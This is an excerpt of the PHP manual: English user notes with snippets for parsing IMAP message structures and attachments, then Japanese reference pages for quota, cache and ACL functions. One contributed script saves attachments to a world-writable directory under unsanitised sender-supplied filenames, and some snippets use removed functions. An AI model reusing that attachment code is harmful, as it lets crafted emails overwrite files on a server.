    if ($p->dparameters)
        foreach ($p->dparameters as $x)
            $params[strtolower($x->attribute)] = $x->value;

    // ATTACHMENT
    // Any part with a filename is an attachment,
    // so an attached text file (type 0) is not mistaken as the message.
    if ($params['filename'] || $params['name']) {
        // filename may be given as 'Filename' or 'Name' or both
        $filename = ($params['filename'])? $params['filename'] : $params['name'];
        // filename may be encoded, so see imap_mime_header_decode()
        $attachments[$filename] = $data;  // this is a problem if two files have same name
    }

    // TEXT
    if ($p->type==0 && $data) {
        // Messages may be split in different parts because of inline attachments,
        // so append parts together with blank row.
        if (strtolower($p->subtype)=='plain')
            $plainmsg. = trim($data) ."\n\n";
        else
            $htmlmsg. = $data ."<br><br>";
        $charset = $params['charset'];  // assume all parts are same charset
    }

    // EMBEDDED MESSAGE
    // Many bounce notifications embed the original message as type 2,
    // but AOL uses type 1 (multipart), which is not handled here.
    // There are no PHP functions to parse embedded messages,
    // so this just appends the raw source to the main message.
    elseif ($p->type==2 && $data) {
        $plainmsg. = $data."\n\n";
    }

    // SUBPART RECURSION
    if ($p->parts) {
        foreach ($p->parts as $partno0=>$p2)
            getpart($mbox,$mid,$p2,$partno.'.'.($partno0+1));  // 1.2, 1.2.1, etc.
    }
}
?>
phpnet,a,emailaddress,cjb,net 26-Sep-2007 07:13
Another comment to inform people about something that should really be in the function description:

imap_fetchstructure() downloads the entire email, attachments and all, rather than just the structure.
I guess it's an undocumented feature, not a bug.

I had assumed that the script would have only downloaded the amount of data that was returned, but my script downloaded a cumulative 2.5gig before i noticed.  Hopefully no-one else will have this happen.
oersoep at gmail dot com 29-Jan-2006 11:58
Please keep in mind that the "parameters" array is a stdClass object when there are no parameters, and NOT a zero-size array.
In PHP5 you'll get this error when iterating structure->parts[x]->parameters if there aren't any parameters for this part:

PHP Fatal error:  Cannot use object of type stdClass as array in file.php on line 100
sirber at detritus dot qc dot ca 04-Jan-2006 11:48
"Primary body type" of "unknown/unknown" will be int(9).
hans at lintoo dot dk 22-Sep-2005 07:07
To fetch a single part (for example to investigate a charset or something like that)

<?php
class StructureEngine {
    private $structureObject;
    public function __construct($structureInfo) {
        $this->structureObject = $structureInfo;

    }

    // snip....

    public function getPart($partNum) {
        $path = split("[.]",$partNum);
        $currentPart = $this->structureObject;
        foreach ($path as $key => $num) {
            $currentPart = $currentPart->parts[$num-1];
        }
        return $currentPart;
    }
}
?>
hans at lintoo dot dk 22-Sep-2005 06:14
A class for searching through a stucture object.
You can search matching 1-3 parameters or use the methods included.
Feel free to use it, correct it or extend it if you please. Enjoy!

http://lintoo.dk/public/structureengine.class.phps

The code was too wide for this manual, so I hope the link above will do. Here a quick overview instead:

<?php
class StructureEngine {
    private $structureObject;
    public function __construct($structureInfo) {}
    public function locatePlain() {}
    public function locateHTML() {}
    public function locateAttachments() {}
    private function checkParam($part, $type, $value) {}
    private function findParts($partsArray, $prefix, $param1Type = 'type', $param1Value = 0, $param2Type = null, ...) {}
}
?>
john at vetsurgeon dot org dot uk 04-Jul-2005 09:07
A little script I threw together to break a message down and process it into a usable array

<?
//script will fetch an email identified by $msgid, and parse the its parts into an
//array $partsarray
//structure of array:
//$partsarray[<name of part>][<attachment/text>]
//if attachment- subarray is [filename][binary data]
//if text- subarray is [type of text(HTML/PLAIN)][text string]

//i.e.
//$partsarray[3.1][attachment][filename]=filename of attachment in part 3.1
//$partsarray[3.1][attachment][binary]=binary data of attachment in part 3.1
//$partsarray[2][text][type]=type of text in part 2
//$partsarray[2][text][string]=decoded text string in part 2
//$partsarray[not multipart][text][string]=decoded text string in message that isn't multipart

function parsepart($p,$i){
    global $link,$msgid,$partsarray;
    //where to write file attachments to:
    $filestore = '[full/path/to/attachment/store/(chmod777)]';

    //fetch part
    $part=imap_fetchbody($link,$msgid,$i);
    //if type is not text
    if ($p->type!=0){
        //DECODE PART
        //decode if base64
        if ($p->encoding==3)$part=base64_decode($part);
        //decode if quoted printable
        if ($p->encoding==4)$part=quoted_printable_decode($part);
        //no need to decode binary or 8bit!

        //get filename of attachment if present
        $filename='';
        // if there are any dparameters present in this part
        if (count($p->dparameters)>0){
            foreach ($p->dparameters as $dparam){
                if ((strtoupper($dparam->attribute)=='NAME') ||(strtoupper($dparam->attribute)=='FILENAME')) $filename=$dparam->value;
                }
            }
        //if no filename found
        if ($filename==''){
            // if there are any parameters present in this part
            if (count($p->parameters)>0){
                foreach ($p->parameters as $param){
                    if ((strtoupper($param->attribute)=='NAME') ||(strtoupper($param->attribute)=='FILENAME')) $filename=$param->value;
                    }
                }
            }
        //write to disk and set partsarray variable
        if ($filename!=''){
            $partsarray[$i][attachment] = array('filename'=>$filename,'binary'=>$part);
            $fp=fopen($filestore.$filename,"w+");
            fwrite($fp,$part);
            fclose($fp);
            }
    //end if type!=0
    }

    //if part is text
    else if($p->type==0){
        //decode text
        //if QUOTED-PRINTABLE
        if ($p->encoding==4) $part=quoted_printable_decode($part);
        //if base 64
        if ($p->encoding==3) $part=base64_decode($part);

        //OPTIONAL PROCESSING e.g. nl2br for plain text
        //if plain text

        if (strtoupper($p->subtype)=='PLAIN')1;
        //if HTML
        else if (strtoupper($p->subtype)=='HTML')1;
        $partsarray[$i][text] = array('type'=>$p->subtype,'string'=>$part);
    }

    //if subparts... recurse into function and parse them too!
    if (count($p->parts)>0){
        foreach ($p->parts as $pno=>$parr){
            parsepart($parr,($i.'.'.($pno+1)));
            }
        }
return;
}

//open resource
$link=imap_open("{localhost:110/pop3}INBOX",'[YOUR USERNAME]','[YOUR PASSWORD]');

//fetch structure of message
$s=imap_fetchstructure($link,$msgid);

//see if there are any parts
if (count($s->parts)>0){
foreach ($s->parts as $partno=>$partarr){
    //parse parts of email
    parsepart($partarr,$partno+1);
    }
}

//for not multipart messages
else{
    //get body of message
    $text=imap_body($link,$msgid);
    //decode if quoted-printable
    if ($s->encoding==4) $text=quoted_printable_decode($text);
    //OPTIONAL PROCESSING
    if (strtoupper($s->subtype)=='PLAIN') $text=$text;
    if (strtoupper($s->subtype)=='HTML') $text=$text;

    $partsarray['not multipart'][text]=array('type'=>$s->subtype,'string'=>$text);
}

print_r($partsarray);
?>
masterbassist 18-Apr-2005 09:52
I think the following line (when building attachment information)

>>> "filename" => $parts[$i]->parameters[0]->value

needs to be

>>> "filename" => $parts[$i]->dparameters[0]->value

The first version generated a PHP warning under PHP 5.0.3.  The second version actually gets the filename.
spam at emielmols dot info 01-Apr-2005 03:47
I've created a function which simply extracts basic message content as a string ($content) and attachments as an array ($attachments). I've tested it with messages from Outlook, Outlook Express and Hotmail. Perhaps it's useful to anyone.

<?php
        $struct = imap_fetchstructure($mbox, $mid);

        $parts = $struct->parts;
        $i = 0;

        if (!$parts) { /* Simple message, only 1 piece */
          $attachment = array(); /* No attachments */
          $content = imap_body($mbox, $mid);
        } else { /* Complicated message, multiple parts */

          $endwhile = false;

          $stack = array(); /* Stack while parsing message */
          $content = "";    /* Content of message */
          $attachment = array(); /* Attachments */

          while (!$endwhile) {
            if (!$parts[$i]) {
              if (count($stack) > 0) {
                $parts = $stack[count($stack)-1]["p"];
                $i     = $stack[count($stack)-1]["i"] + 1;
                array_pop($stack);
              } else {
                $endwhile = true;
              }
            }

            if (!$endwhile) {
              /* Create message part first (example '1.2.3') */
              $partstring = "";
              foreach ($stack as $s) {
                $partstring .= ($s["i"]+1) . ".";
              }
              $partstring .= ($i+1);

              if (strtoupper($parts[$i]->disposition) == "ATTACHMENT") { /* Attachment */
                $attachment[] = array("filename" => $parts[$i]->parameters[0]->value,
                                      "filedata" => imap_fetchbody($mbox, $mid, $partstring));
              } elseif (strtoupper($parts[$i]->subtype) == "PLAIN") { /* Message */
                $content .= imap_fetchbody($mbox, $mid, $partstring);
              }
            }

            if ($parts[$i]->parts) {
              $stack[] = array("p" => $parts, "i" => $i);
              $parts = $parts[$i]->parts;
              $i = 0;
            } else {
              $i++;
            }
          } /* while */
        } /* complicated message */

        echo "Analyzed message $mid, result: <br />";
        echo "Content: $content<br /><br />";
        echo "Attachments:"; print_r ($attachment);
?>
y dot daradkeh at gmail dot com 20-Dec-2004 07:40
Hey people, get the message attachments with this code:

<?php

$mbox = imap_open("$imap_server".$f,$name,$pass);

// delibertely choose a message with an attachment

$info = imap_fetchstructure($mbox, $mno);

// find out how may parts the object has
$numparts = count($info->parts);

$i=0;
// find if multipart message
if ($numparts >1)
{
   echo "<b>More than one part</b><br><br>";

   foreach ($info->parts as $part)
   {
      if ($part->disposition == "INLINE")
         printf("Inline message has %s lines<BR>", $part->lines);
     elseif ($part->disposition == "attachment")
     {
       $i++;
       echo $i." Attachment/s found!<br>";
       echo "Filename: ".$part->dparameters[0]->value."<br><br>";
     }
   }
}
else
   echo "Only one part";

imap_close($mbox);
?>
aperez at informatica dot 24ruedas dot com 16-Jun-2004 12:10
About above comment and source code I wrote: certainly, plain/html text files are attachments, but I've written my code thinking about web IMAP clients, where text parts are not for downloading, simply they are shown. That's the reason.

Thanks anyway. :)
passeniermaxime at hotmail dot com 15-Jun-2004 08:15
I have written a code that check's for attachments.
There is a slight problem with the above code;
when you send a mail with a .txt document as attachment
the type will be 0 and so there won't be a attachment found.

I check for the disposition of the body part witch can be inline or attachment.
If this is an attachment he will display it.
You an also mix up both codes by checking on the type and the disposition.

//////////////////////////////////
///   $mbox = connection
///   $a_mails_sort[$i] = message id

$structuur = imap_fetchstructure($mbox,$a_mails_sort[$i]);
$bericht_delen=$structuur->parts;
for($i_delen = 0; $i_delen<=count($bericht_delen);$i_delen++)
  {
  if($bericht_delen[$i_delen]->disposition == "attachment")
    {
    $attachment = "OK";
    }// end if
  }//end for
aperez at informatica dot 24ruedas dot com 25-May-2004 12:12
This is my function to check attachments:

<?php
  $est=imap_fetchstructure($con,$msg);

  if(checkAttachments($est))
  {
    echo("You have attachment(s)");
  }
  else
  {
    echo("You don't have attachment(s)");
  }

  function checkAttachments($estMsg)
  {
    if(($estMsg->type!=0) && ($estMsg->type!=1))
    {
      // Text and multipart parts will not be shown as attachments
      return(true);
    }
    else
    {
      // If there's no attachments, parts inside will be checked
      if($estMsg->parts)
      {
        $partMsg=$estMsg->parts;
        $i=0;
        // Parts will be checked while no attachments found or not all of them checked
        while(!(checkAttachments($partMsg[$i])) && ($i<sizeof($estMsg->parts)))
        {
          $i++;
        }

        // If any 'checkAttachment' calls returned 'true', 'i' should be
        // equal to number of parts(after increased in while). So, no
        // attachments found
        if($i==sizeof($estMsg->parts))
        {
          return(false);
        }
        else
        {
          return(true);
        }
      }
      else
      {
        // If no parts and text or multipart type, no attachments
        return(false);
      }
    }
  }
  imap_close($con);
?>

I hope this helps somebody else(if bugs, thanks for your fixes).
richy at smilingsouls dot net 28-Jan-2004 03:08
After many long hours of pouring over the object returned by imap_fetchstructure() I came up with the solution posted at the following url:

http://p2p.wrox.com/topic.asp?TOPIC_ID=9063

The url above provides an example of how to access variables in the object returned by imap_fetchstructure().  This class creates an object with member variables containing the correct part numbers which are compatible with the imap_fetchbody() function.

The structure returned looks something like this:

                       0 Raw Headers
$this->pid[$mid][0]  =  1 text/plain                        top level message
$this->pid[$mid][1]  =  2 message/rfc822                    entire unparsed message
                                                             multipart/mixed - part is skipped!
                           2.0 Raw Headers
$this->pid[$mid][2]  =      2.1 multipart/alternative       contains unparsed contents of next subpart (text/plain && text/html)
                                2.1.0 Raw Headers
$this->pid[$mid][3]  =          2.1.1 text/plain            2nd level inline embedded message
$this->pid[$mid][4]  =          2.1.2 text/html

$this->pid[$mid][5]  =      2.2 message/rfc822              entire unparsed message
                                                             multipart/mixed - part is skipped!
                                2.2.0 Raw Headers
$this->pid[$mid][6]  =          2.2.1 multipart/alternative
$this->pid[$mid][7]  =              2.2.1.1 text/plain      3rd level inline embedded message
$this->pid[$mid][8]  =              2.2.1.2 text/html
$this->pid[$mid][9]  =            2.2.2 image/jpeg
$this->pid[$mid][10] =             2.2.3 image/jpeg
$this->pid[$mid][11] =            2.2.4 image/jpeg
$this->pid[$mid][12] =            2.2.5 image/gif

Its important to note why multipart/related, multipart/mixed and certain multipart/alternative (if parent part is message/rfc822 && not multipart/mixed) parts are skipped, imap_fetchbody **does not** retreive a message part for these parts.  Which isn't a bug, as I have read in other places, these parts exist for the purpose of designing the viewer portion of a mail application.  Also, headers aren't assigned part numbers here because they are easy to pick out.

: )
Rich
chrislhill at "O_o" hotmail dot com 23-Oct-2003 11:36
For people just beging this may help alot as I spent a couple hours just trying to relize how exact the array was stored. (at the time I did not know the print_r function :P)

$struct = imap_fetchstructure($mbox, $msgnumber);
print_r($struct);

Will give you a better example for your messages but they are called as $struct using the varible method above.

$struct->type; //would return the type
$struct->encoding //would return the encoding

and etc..

This can be done many different ways but that is the basics on pulling the info out of the structure of fetchstructure itself, I hope it helps someone starting because it wouldve helped me :/.
es96 at hotmail dot com 13-Aug-2003 02:38
If you are getting CHARSET as US-ASCII even if the header has a Content-Type: field, make sure the header also has a MIME-Version: field.

For example, the following header will correcty report charset as KOI8-R

MIME-Version: 1.0
Content-Type: text/plain; charset="koi8-r"

Without the MIME-Version it will be reported as US-ASII
as1 at powersite dot com dot ar 30-Dec-2002 01:57
Sorry, my before code is not complet:

$struct = imap_fetchstructure( $conn, $curMsg );

$i = 1;
while( imap_fetchbody( $conn, $curMsg, $i ) ){
  $struct->parts[$i-1] = imap_bodystruct( $conn, $curMsg, $i );
  $j = 1;
  while( imap_fetchbody( $conn, $curMsg, "$i.$j" ) ){
    $struct->parts[$i-1]->parts[$j-1] = imap_bodystruct( $conn, $curMsg, "$i.$j" );
    $j++;
    }
  $i++;
}
as1 at powersite dot com dot ar 30-Dec-2002 01:01
If your imap_fetchstructure not retrive all parts, write it:

$struct = imap_fetchstructure( $conn, $curMsg );

$i = 1;
while( imap_fetchbody( $conn, $curMsg, $i ) ){
   $struct->parts[$i-1] = imap_bodystruct( $conn, $curMsg, $i );
   $i++;
}
paradise at ml75 dot com 04-Dec-2002 07:40
I'm using freeBSD and had lots of problems with all functions/mail applications i could find on the net...

So i'm writing my own now..

Most of the stuff works fine now.. but i'm still working on the chooser to select the best part to show. (plain or HTML).

The #1 problem is that most functions give the wrong ID numbers beck to fetch the body.

Here's a sollution to that problem.. :P

// Debug function.. always handy until it's 100% completed..
   $attachments = array(); $dispos=0;
   $debug=true;
   function doDebug($msg){
      global $debug, $debug_depth, $dispos;
      if($debug){
         for($y = 0; $y < $debug_depth; $y++) echo("&nbsp;&nbsp;&nbsp;&nbsp;");
         if($dispos == 0) echo($msg."<br/>"); else echo("<i>".$msg."</i><br/>");
      }
   }

   function Check_Part($part,$id){
      global $attachments, $debug, $debug_depth, $dispos; $ans=sizeof($attachments);
      doDebug("+Checking part $id");
      $debug_depth++;
      doDebug("Parttype=".$part->type ."/". mimetype($part->type) ."/". $part->subtype);

      if($part->ifdisposition){ $dispos++; doDebug("<b>Disposition</b>"); }
      if($part->ifdescription){ doDebug("<b>Description=".$part->description."</b>"); }

         switch($part->type){
           case 1: if((strtolower($part->subtype) == "mixed")
                        or (strtolower($part->subtype)  == "alternative")
                        or (strtolower($part->subtype) == "related")) break;

           default: $an = sizeof($attachments);
                    if($part->ifdparameters){
                       $dpara = $part->dparameters;
                       for ($v=0;$v<sizeof($dpara);$v++){
                          if (eregi("filename", $dpara[$v]->attribute))
                             $fname = $dpara[$v]->value;}
                    }
                    if($part->ifparameters){
                       if(empty($fname)){
                          $para = $part->parameters;
                          for ($v=0;$v<sizeof($para);$v++){
                             if (eregi("name", $para[$v]->attribute)) $fname = $para[$v]->value;
                          }
                       }
                    }
                    if(empty($fname))$fname = "Onbekend";

                  $attachments[$an]->id = ($an+1);
                  $attachments[$an]->part = $id;
                    $attachments[$an]->filename = $fname;
                   $attachments[$an]->type=$part->type;
                   $attachments[$an]->subtype=$part->subtype;
                   $attachments[$an]->dispos=$dispos;
                   $attachments[$an]->size=$part->bytes;
                  doDebug("Filename=".$attachments[$an]->filename); break;
         }

      for($x = 0; $x < count($part->parts); $x++){
         Check_Part($part->parts[$x], $id.".".($x+1));
      }
      doDebug("Dit deel had iets nuttigs.");
      if($part->ifdisposition) $dispos--;
      $debug_depth--;
      doDebug("-End of part $id");
   }

   function decode_mail($mbox, $msg){
      global $attachments, $debug, $debug_depth;
      doDebug("+Decoding message $msg"); $debug_depth++;
      $obj = imap_fetchstructure($mbox, $msg, FT_UID); $moet_werken=true; $id=1;
      while($moet_werken){
         Check_Part($obj, $id);

         $moet_werken=false;
      }
      $debug_depth--; doDebug("-End of message $msg");
   }

Now to get this to work..
Decode_Mail([Mailbox connection], [Message Number]);

this is the outpu attachment array..
1--1.1.1--Onbekend--0--PLAIN--0--31
2--1.1.2--Onbekend--0--HTML--0--29
3--1.2--Beschrijving Nieuw E.doc--3--MSWORD--1--613718
--------------------------------------

PS.. "Onbekend" is dutch for "Unknown".

Good luck.
Paradise (www.ml75.nl)
jcastro at elnuevodia dot com 20-Sep-2002 01:16
I think the above note about attachments is wrong. I tested sending files with and without attachments and I get the following<br>
with attachment: type=3 bytes=343648
no attachment: type=0 bytes=2
so checking for $struct->bytes == " " means nothing. At least in my test
running windows 2000, php4.2.1 using outlook and exchange. It seems that cheking the type will be more reliable
19-Sep-2002 03:20
This function sets MIME charset
parameter value to US-ASCII when
either Content-Type header is missing
or Content-Type header doesn't have
charset parameter. This may be compliant
to RFC 822, but this poses
a problem for  a calling function that
has to deal with untagged messages
in MIME charset other than US-ASCII.
To work around this,  US-ASCII
has to be treated as the absence of MIME charset.
kmakaveev(at)yahoo(dot)com 25-Jun-2002 07:29
There's a little mistake in the code above!
The second echo must return "The message has no attachment!".
And that code must have some some additional  thing to work properly! Maybe I must use ->parts to determine how many parts has a particular message!
php AT firstnetimpressions.com 18-Feb-2002 01:15
Point of clarification:

The seventh primary body type is not "Other" as documented, but actually "Model".  This encompasses IGES, VRML, MESH, DWF, etc.

http://www.isi.edu/in-notes/iana/assignments/media-types/media-types

"Other" is the eigth primary body type.
mkknapp at quadrapod dot com 25-Apr-2001 06:48
Assuming $struct = imap_fetchstructure($x,$y);

It is important to note that if a message has NO attachements, $struct->parts is an empty array, and $struct->bytes has a value.  If a message as ANY attachements, $struct->bytes ALWAYS = 0. To get the size of the primary body, you have to call structure->part[0]->bytes.  To get the size of the whole message, either strlen(imap_body) or add up the ->bytes of all the parts.

Another interesting note:
When there is body text and no attachements:
count($struct->parts) = 0
When there is body text and 1 attachement:
count($struct->parts) = 2

These imap functions could really use better documentation. Like giving the meathods for the dparameter and parameter classes...
jbrandt at europa dot com 16-Apr-2001 03:45
Parsing the recursive object returned from imap_fetchstructure is easy. However trying to figure out the name of the section to pass to imap_fetchbody() isn't quite so straight forward because the naming conventions for the MIME sections are odd. If you copy and paste the following function you can pass an UID of an IMAP message and it will print out a hierarchy of the message and label each section.

The only required parameters are $mbox and $em_uid. The other parameters are used when the function needs to call itself.

Two functions mime_encoding() and mime_type() are not included. All they do is return string for the integer represention of a mime type/encoding.

<?php
function imap_dbody($mbox, $em_uid, $mimeobj, $depth = 0, $section = 0)
{
        // If this is the first run of the function then grab a object of the MIME structure of the message

        if($section == 0) $mimeobj = imap_fetchstructure($mbox, $em_uid, FT_UID);

        for($y = 0; $y < $depth; $y++) echo("       ");

        echo(mime_type($mimeobj->type) . "/{$mimeobj->subtype}, ");
        echo(mime_encoding($mimeobj->encoding) . " (<B>$section</B>)<BR>");

        for($x = 0; $x < count($mimeobj->parts); $x++)
        {
                // If we are in the root of the object increment by whole integers

                if($section == 0) $nsection = $x + 1;

                // If we are in the object and the first sub-object of our object isn't multipart
                // then increment the postfix by ".1" otherwise we are multipart or a message
                // and leave the section id alone to be handled by the next code block

                else if(($pos = strrpos($section, ".")) && $mimeobj->parts[0]->type != TYPEMULTIPART)
                        $nsection = substr($section, 0, $pos) . "." . ($x + 1);
                else
                        $nsection = $section;

                // If there are more parts to the part about to be processed reference it as a header with ".0"
                // but only if the child of this child isn't MULTIPART

                if(count($mimeobj->parts[$x]->parts))
                {
                        // Funny really, if a mime section is a inline message that has a multipart body you reference the message
                        // mime section with "2" the inline message header with "2.0" and the subsections with "2.x"
                        // However if the mime section is a inline message with only 1 part then you reference the
                        // mime section in the message with 2.0 and the inline message body with 2.1

                        if(!($mimeobj->parts[$x]->type == TYPEMESSAGE && $mimeobj->parts[$x]->parts[0]->type == TYPEMULTIPART))
                                $nsection .= ".0";
                        else
                                $nsection .= "";
                }

                imap_dbody($mbox, $em_uid, $mimeobj->parts[$x], $depth + 1, $nsection);

        }

        // If after processing the entire MIME object the $x variable is still zero then we didn't
        // process a multipart mime message, it's just normal email so say so here.

        if($x == 0 && $section == 0)
        {
                echo(mime_type($mimeobj->type) . "/{$mimeobj->subtype}, ");
                echo(mime_encoding($mimeobj->encoding) . " (<B>1</B>) (<B>NOT MIME MULTIPART</B>)<BR>");
        }
}
?>
vksgeneric at hotmail dot com 02-Feb-2000 05:22
It looks like some clients (e.g. outlook) can attach a file that has two mime-types associated with it, like:

Content-Type: model/vrml,x-world/x-vrml

This bombs the parsing procedure somewhere in c-client, I guess, and as a result ifparameters is set to false for the respective part, and you can not retrieve filename, mimetype, or any other parameters.
hholzgra at media-engineering dot de 15-Dec-1999 01:59
the parts objects are identical in
structure to those returned by imap_fetchstructure, describing one subfolder each

parameters and dparameters are MIME-specific, theese contain the
extra parameters provided in the Content-Type and Content-Disposion Header lines such as Charset or Filename


imap_body のエイリアス

  • ≪ imap_fetchstructure
  • imap_gc ≫
  • PHP Manual
  • IMAP 関数
  • imap_body のエイリアス

imap_fetchtext

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_fetchtext — imap_body() のエイリアス

説明

この関数は次の関数のエイリアスです。 imap_body().

User Contributed Notes

There are no user contributed notes for this page.


IMAP キャッシュをクリアする

  • ≪ imap_fetchtext
  • imap_get_quota ≫
  • PHP Manual
  • IMAP 関数
  • IMAP キャッシュをクリアする

imap_gc

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

imap_gc — IMAP キャッシュをクリアする

説明

imap_gc ( resource $imap , int $flags ) : bool

指定した型のエントリのキャッシュを破棄します。

パラメータ

imap

imap_open() が返す IMAP ストリーム。

flags

破棄したいキャッシュを指定します。以下の定数 IMAP_GC_ELT (メッセージキャッシュ要素)、 IMAP_GC_ENV (エンベロープおよびボディ)、 IMAP_GC_TEXTS (テキスト) の組み合わせとなります。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 imap_gc() の例

<?php

$mbox = imap_open("{imap.example.org:143}", "username", "password");

imap_gc($mbox, IMAP_GC_ELT);

?>

User Contributed Notes

Anonymous 23-Jul-2009 12:47
If you notice that you're program's memory usage is increasing (as observed using ps) while calling the imap functions, calling this function should free that memory.


クオータレベルの設定、メールボックス毎の使用状況を取得する

  • ≪ imap_gc
  • imap_get_quotaroot ≫
  • PHP Manual
  • IMAP 関数
  • クオータレベルの設定、メールボックス毎の使用状況を取得する

imap_get_quota

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

imap_get_quota — クオータレベルの設定、メールボックス毎の使用状況を取得する

説明

imap_get_quota ( resource $imap , string $quota_root ) : array|false

クオータレベルの設定、メールボックス毎の使用状況を取得します。

この関数の非管理者向けバージョンは、 PHP の imap_get_quotaroot() 関数を参照ください。

パラメータ

imap

imap_open() が返す IMAP ストリーム。

quota_root

quota_root は、通常 user.name という形式にする必要があります。 name は、情報を取得したいメールボックスの名前です。

返り値

指定したメールボックスの limit と usage をキーとした整数値を配列として返します。 limit の値は、このメールボックスで最大使用可能な大きさを表します。 usage の値は、このメールボックスの現在の使用状況を示します。 失敗した場合に false を返します。

PHP 4.3 では、この関数は » RFC2087 で述べられている機能をより適切に反映するようになっています。 返り値の配列からは、サポートするリソース （例:メッセージ、あるいはサブフォルダ）数の制限をなくし、 名前つきリソースを独立した配列のキーとして受信するようにしました。 各キーの値は配列となっており、その中に usage と values の値が格納されています。

過去との互換性を保つため、旧来のアクセス方法も使用可能です。 しかし新しい方法に変更することを推奨します。

例

例1 imap_get_quota() の例

<?php
$mbox = imap_open("{imap.example.org}", "mailadmin", "password", OP_HALFOPEN)
      or die("接続できません: " . imap_last_error());

$quota_value = imap_get_quota($mbox, "user.kalowsky");
if (is_array($quota_value)) {
    echo "Usage level is: " . $quota_value['usage'];
    echo "Limit level is: " . $quota_value['limit'];
}

imap_close($mbox);
?>

例2 4.3 以降のバージョンでの imap_get_quota() の例

<?php
$mbox = imap_open("{imap.example.org}", "mailadmin", "password", OP_HALFOPEN)
      or die("接続できません: " . imap_last_error());

$quota_values = imap_get_quota($mbox, "user.kalowsky");
if (is_array($quota_values)) {
   $storage = $quota_values['STORAGE'];
   echo "STORAGE usage level is: " .  $storage['usage'];
   echo "STORAGE limit level is: " .  $storage['limit'];

   $message = $quota_values['MESSAGE'];
   echo "MESSAGE usage level is: " .  $message['usage'];
   echo "MESSAGE limit is: " .  $message['limit'];

   /* ...  */
}

imap_close($mbox);
?>

注意

この関数は、現在、c-client2000 以降のライブラリを使用しているユーザーのみ使用可能です。

指定する imap は、 メールの管理者としてオープンしたものである必要があります。 そうでない場合は、この関数は失敗します。

参考

  • imap_open() - メールボックスへの IMAP ストリームをオープンする
  • imap_set_quota() - 指定したメールボックスにクォータを設定する
  • imap_get_quotaroot() - ユーザー単位のクォータ設定を取得する

User Contributed Notes

Anti Veeranna 01-Mar-2007 11:26
If you're using this (or probably any other imap functions) and getting "Notice: Unknown: Quota root does not exist (errflg=2) in Unknown on line 0" errors after the script finishes, then call imap_errors() function before you close the imap stream - this will clear the error stack and you don't get those annoying notices.

Took me a while to figure it out.
Shiraz Esat 20-Dec-2004 09:40
For this function to work your IMAP server must also have the 'getquota' capability!

Check this by logging in directly:
telnet <mail server> <port>

e.g. telnet mail.myserver.com 143

and then once you're connected to the server
0 CAPABILITY
dc at aufruhr dot com 18-Jul-2003 04:26
ok, this error just occurs if there are no quotas on your mailbox.

same with imap_get_quotaroot().


ユーザー単位のクォータ設定を取得する

  • ≪ imap_get_quota
  • imap_getacl ≫
  • PHP Manual
  • IMAP 関数
  • ユーザー単位のクォータ設定を取得する

imap_get_quotaroot

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

imap_get_quotaroot — ユーザー単位のクォータ設定を取得する

説明

imap_get_quotaroot ( resource $imap , string $mailbox ) : array|false

ユーザー単位のクォータ設定を取得します。 limit の値は、このユーザーがメールボックスで使用可能な総容量を表します。 usage の値は、ユーザーが現在メールボックスで使用している容量を表します。

パラメータ

imap

imap_open() が返す IMAP ストリーム。

mailbox

mailbox はどのメールボックスを調べるかを 指定します（例: INBOX）。

返り値

指定したユーザーのメールボックスに関連する整数値を配列で返します。 すべての値にはリソース名に基づいたキーがつけられており、 usage および limit 値を保持する配列が関連付けられています。

コールが失敗した場合、およびサーバーからの応答内容をパースできなかった場合には この関数は false を返します。

例

例1 imap_get_quotaroot() の例

<?php
$mbox = imap_open("{imap.example.org}", "kalowsky", "password", OP_HALFOPEN)
      or die("接続できません: " . imap_last_error());

$quota = imap_get_quotaroot($mbox, "INBOX");
if (is_array($quota)) {
   $storage = $quota['STORAGE'];
   echo "STORAGE usage level is: " .  $storage['usage'];
   echo "STORAGE limit level is: " .  $storage['limit'];

   $message = $quota['MESSAGE'];
   echo "MESSAGE usage level is: " .  $message['usage'];
   echo "MESSAGE limit level is: " .  $message['limit'];

   /* ...  */

}

imap_close($mbox);
?>

注意

この関数は、現在は c-client2000 以降のライブラリを使用しているユーザーのみ利用可能です。

imap は、 調べたいメールボックスを所有するユーザーがオープンしなければなりません。

参考

  • imap_open() - メールボックスへの IMAP ストリームをオープンする
  • imap_set_quota() - 指定したメールボックスにクォータを設定する
  • imap_get_quota() - クオータレベルの設定、メールボックス毎の使用状況を取得する

User Contributed Notes

uphonesimon at gmail dot com 21-Sep-2005 04:37
just to make a note for all the people that are wondering the differences between $quota['STORAGE'] and $quot['MESSAGE']
the $quot['STORAGE'] is the size of the mailbox in KB
but $quota['MESSAGE'] is actually the number of messages stored in the mailbox and the up limit of the total messages allowed
rodrigo dot tsuru at tsuru dot net 15-Sep-2004 11:07
The example above isn't right. Replace with this:

<?php
$mbox = imap_open("{your.imap.host}", "kalowsky", "password", OP_HALFOPEN)
     or die("can't connect: " . imap_last_error());

$quota = imap_get_quotaroot($mbox, "INBOX");
if (is_array($quota)) {
   $storage = $quota['STORAGE'];
   echo "STORAGE usage level is: " .  $storage['usage'];
   echo "STORAGE limit level is: " .  $storage['limit'];

   $message = $quota['MESSAGE'];
   echo "MESSAGE usage level is: " .  $message['usage'];
   echo "MESSAGE usage level is: " .  $message['limit'];

   /* ...  */

}

imap_close($mbox);
?>
thomas dot hebinck at digionline dot de 30-Aug-2003 07:55
['STORAGE']['usage'] and ['STORAGE']['limit'] are values in KB (1024 Bytes)


与えられたメールボックスの ACL を取得する

  • ≪ imap_get_quotaroot
  • imap_getmailboxes ≫
  • PHP Manual
  • IMAP 関数
  • 与えられたメールボックスの ACL を取得する

imap_getacl

(PHP 5, PHP 7, PHP 8)

imap_getacl — 与えられたメールボックスの ACL を取得する

説明

imap_getacl ( resource $imap , string $mailbox ) : array|false

指定したメールボックスの ACL を取得します。

パラメータ

imap

imap_open() が返す IMAP ストリーム。

mailbox

メールボックス名。詳細は imap_open() を参照ください。

警告

信頼できないデータをこのパラメータに渡すのであれば、 imap.enable_insecure_rsh を無効にしておかなければ危険です。

返り値

"folder" => "acl" 形式の連想配列を返します。 失敗した場合に false を返します

例

例1 imap_getacl() の例

<?php

print_r(imap_getacl($conn_id, 'user.joecool'));

?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [asubfolder] => lrswipcda
    [anothersubfolder] => lrswipcda
)

注意

